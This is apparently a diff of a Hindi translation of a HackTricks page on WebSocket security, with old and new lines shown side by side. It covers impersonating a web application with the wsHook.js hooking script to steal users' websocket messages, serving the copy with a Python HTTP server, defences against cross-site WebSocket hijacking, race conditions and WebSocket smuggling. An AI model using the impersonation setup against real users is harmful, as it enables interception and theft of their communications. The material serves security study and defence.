वेब एप्लिकेशन की कॉपी करें जिसे आप अनुकरण करना चाहते हैं (उदाहरण के लिए .html फ़ाइलें) और उस स्क्रिप्ट के अंदर जहाँ वेब सॉकेट संचार हो रहा है, यह कोड जोड़ें: जिस web application को आप impersonate करना चाहते हैं उसकी कॉपी बनाएं (उदाहरण के लिए .html फाइलें) और उस script के अंदर जहाँ websocket communication हो रही है, यह code जोड़ें:
```javascript ```javascript
//This is the script tag to load the websocket hooker //This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script> ;<script src="wsHook.js"></script>
@ -148,43 +265,50 @@ xhttp.send()
return messageEvent return messageEvent
} }
``` ```
अब `wsHook.js` फ़ाइल को [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) से डाउनलोड करें और **इसे वेब फ़ाइलों के फ़ोल्डर के अंदर सहेजें**।\ अब `wsHook.js` फाइल को [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) से डाउनलोड करें और **इसे वेब फाइलों वाले फ़ोल्डर के अंदर सेव करें**.\
वेब एप्लिकेशन को उजागर करके और एक उपयोगकर्ता को इससे कनेक्ट करने पर, आप websocket के माध्यम से भेजे गए और प्राप्त संदेशों को चुरा सकेंगे: वेब एप्लिकेशन को एक्सपोज़ करके और किसी उपयोगकर्ता को उससे कनेक्ट करवा कर आप भेजे और प्राप्त किए गए संदेश websocket के माध्यम से चुरा पाएँगे:
```javascript ```javascript
sudo python3 -m http.server 80 sudo python3 -m http.server 80
``` ```
### CSWSH सुरक्षा ### CSWSH सुरक्षा
CSWSH हमला इस तथ्य पर आधारित है कि एक **उपयोगकर्ता एक दुर्भावनापूर्ण पृष्ठ से जुड़ेगा** जो **एक वेब्सोकट कनेक्शन** खोलेगा उस वेब पृष्ठ पर जहां उपयोगकर्ता पहले से ही जुड़ा हुआ है और उपयोगकर्ता के कुकीज़ भेजने के कारण उसे प्रमाणित करेगा। The CSWSH attack इस बात पर आधारित है कि एक **उपयोगकर्ता किसी malicious page से कनेक्ट करेगा** जो उस वेब पेज के लिए **एक websocket connection ओपन करेगा** जहाँ उपयोगकर्ता पहले से जुड़ा हुआ है और अनुरोध उसके उपयोगकर्ता के cookies भेजने के कारण उसके रूप में authenticate हो जाएगा।
आजकल, इस समस्या को रोकना बहुत आसान है: आजकल, इस समस्या को रोकना बहुत आसान है:
- **वेब्सोकट सर्वर का मूल चेक करना**: वेब्सोकट सर्वर को हमेशा यह जांचना चाहिए कि उपयोगकर्ता कहां से जुड़ रहा है ताकि अप्रत्याशित पृष्ठों को इससे जुड़ने से रोका जा सके। - **Websocket server checking the origin**: Websocket server को हमेशा यह जाँचना चाहिए कि उपयोगकर्ता किस स्रोत से कनेक्ट कर रहा है ताकि अनपेक्षित पेज उसे कनेक्ट न कर सकें।
- **प्रमाणन टोकन**: कुकी पर आधारित प्रमाणन के बजाय, वेब्सोकट कनेक्शन को एक टोकन पर आधारित किया जा सकता है जो सर्वर द्वारा हमलावर के लिए अज्ञात उपयोगकर्ता के लिए उत्पन्न किया गया है (जैसे एक एंटी-CSRF टोकन) - **Authentication token**: Cookie पर आधारित authentication के बजाय, websocket connection को ऐसे token पर आधारित किया जा सकता है जिसे सर्वर उपयोगकर्ता के लिए जनरेट करे और attacker के लिए अज्ञात हो (जैसे एक anti-CSRF token)।
- **SameSite कुकी विशेषता**: `SameSite` मान के साथ कुकीज़ `Lax` या `Strict` के रूप में बाहरी हमलावर के पृष्ठ से पीड़ित सर्वर पर नहीं भेजी जाएंगी, इसलिए, कुकी आधारित प्रमाणन सफल नहीं होगा। ध्यान दें कि Chrome अब इस ध्वज के बिना कुकीज़ को **`Lax`** मान देता है जिससे यह डिफ़ॉल्ट रूप से अधिक सुरक्षित हो जाता है। हालांकि, जब एक कुकी बनाई जाती है तो पहले 2 मिनट के लिए इसका मान **`None`** होगा जिससे यह उस सीमित समय के दौरान कमजोर हो जाती है (यह भी अपेक्षित है कि यह उपाय किसी बिंदु पर हटा दिया जाएगा)। - **SameSite Cookie attribute**: `SameSite` मान `Lax` या `Strict` वाले cookies external attacker के पेज से victim सर्वर पर नहीं भेजे जायेंगे, इसलिए cookie आधारित authentication सफल नहीं होगी। ध्यान दें कि Chrome अब उन cookies को डिफ़ॉल्ट रूप से **`Lax`** मान देता है जिनमें यह flag निर्दिष्ट नहीं है, जिससे यह पहले से सुरक्षित है। हालाँकि, किसी cookie के बनाए जाने के पहले 2 मिनट के दौरान इसका मान **`None`** होगा, जिससे वह उस सीमित अवधि में कमजोर रहेगा (और अपेक्षित है कि यह उपाय किसी बिंदु पर हटा दिया जाएगा)।
- **Firefox कुल कुकी सुरक्षा**: कुल कुकी सुरक्षा कुकीज़ को उस साइट पर अलग करने का काम करती है जिसमें वे बनाई जाती हैं। मूल रूप से, प्रत्येक साइट के पास अपनी कुकी भंडारण विभाजन होती है ताकि तीसरे पक्ष उपयोगकर्ता के ब्राउज़िंग इतिहास को एक साथ लिंक न कर सकें। यह **CSWSH को अनुपयोगी** बना देता है क्योंकि हमलावर की साइट को कुकीज़ तक पहुंच नहीं होगी। - **Firefox Total Cookie Protection**: Total Cookie Protection cookies को उसी साइट तक सीमित करके काम करता है जहाँ वे बनाए गए थे। मूलतः प्रत्येक साइट की अपनी cookie storage partition होती है ताकि third parties उपयोगकर्ता के ब्राउज़िंग इतिहास को लिंक न कर सकें। इससे attackers साइट को cookies तक पहुँच नहीं मिलने के कारण **CSWSH अनुपयोगी** हो जाता है।
- **Chrome तृतीय-पक्ष कुकीज़ अवरोध**: यह भी प्रमाणित उपयोगकर्ता की कुकी को वेब्सोकट सर्वर पर भेजने से रोक सकता है भले ही `SameSite=None` हो। - **Chrome third-party cookies block**: यह भी authenticated उपयोगकर्ता के cookie को websocket server पर भेजे जाने से रोक सकता है भले ही `SameSite=None` हो।
## दौड़ की स्थितियाँ ## Race Conditions
वेब्सोकट में दौड़ की स्थितियाँ भी एक चीज हैं, [इस जानकारी की जांच करें और अधिक जानें](race-condition.md#rc-in-websockets)। WebSockets में Race Conditions भी होते हैं, [अधिक जानने के लिए इस जानकारी को देखें](race-condition.md#rc-in-websockets).
## अन्य कमजोरियाँ ## अन्य कमजोरियाँ
चूंकि वेब सॉकेट एक तंत्र हैं **डेटा को सर्वर साइड और क्लाइंट साइड भेजने के लिए**, यह इस पर निर्भर करता है कि सर्वर और क्लाइंट जानकारी को कैसे संभालते हैं, **वेब सॉकेट का उपयोग कई अन्य कमजोरियों जैसे XSS, SQLi या किसी अन्य सामान्य वेब कमजोरियों का शोषण करने के लिए किया जा सकता है जो एक वेब्सोकट से उपयोगकर्ता के इनपुट का उपयोग करते हैं।** चूँकि Web Sockets डेटा को सर्वर-साइड और क्लाइंट-साइड दोनों पर भेजने का एक मैकेनिज़्म हैं, सर्वर और क्लाइंट किस तरह जानकारी को हैंडल करते हैं उस पर निर्भर करते हुए, **Web Sockets का उपयोग कई अन्य कमजोरियों जैसे XSS, SQLi या किसी भी सामान्य वेब vuln को exploit करने के लिए किया जा सकता है यदि websocket से किसी उपयोगकर्ता का इनपुट सर्वर/क्लाइंट पर पहुँचता है।**
## **वेब्सोकट स्मगलिंग** ## **WebSocket Smuggling**
यह कमजोरी आपको **रिवर्स प्रॉक्सी प्रतिबंधों को बायपास करने** की अनुमति दे सकती है यह मानकर कि **वेब्सोकट संचार स्थापित किया गया था** (भले ही यह सच न हो)। यह एक हमलावर को **छिपे हुए एंडपॉइंट्स तक पहुंचने** की अनुमति दे सकता है। अधिक जानकारी के लिए निम्नलिखित पृष्ठ की जांच करें:
यह vulnerability आपको reverse proxies restrictions को bypass करने की अनुमति दे सकती है, उन्हें यह विश्वास दिलाकर कि एक **websocket communication स्थापित हो गई थी** (भले ही ऐसा न हुआ हो)। इससे एक attacker को hidden endpoints तक पहुँचने की अनुमति मिल सकती है। अधिक जानकारी के लिए निम्न पेज देखें:
{{#ref}} {{#ref}}
h2c-smuggling.md h2c-smuggling.md
{{#endref}} {{#endref}}
## संदर्भ ## References
- [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages) - [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
- [https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/) - [https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/)
- [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine)
- [WebSocket Turbo Intruder – BApp Store](https://portswigger.net/bappstore/ba292c5982ea426c95c9d7325d9a1066)
- [WebSocketTurboIntruder – GitHub](https://github.com/d0ge/WebSocketTurboIntruder)
- [Turbo Intruder background](https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack)
- [Server-side prototype pollution – safe detection methods](https://portswigger.net/research/server-side-prototype-pollution#safe-detection-methods-for-manual-testers)
- [WS RaceCondition PoC (Java)](https://github.com/redrays-io/WS_RaceCondition_PoC)
- [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)
- [PingOfDeathExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/PingOfDeathExample.py)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}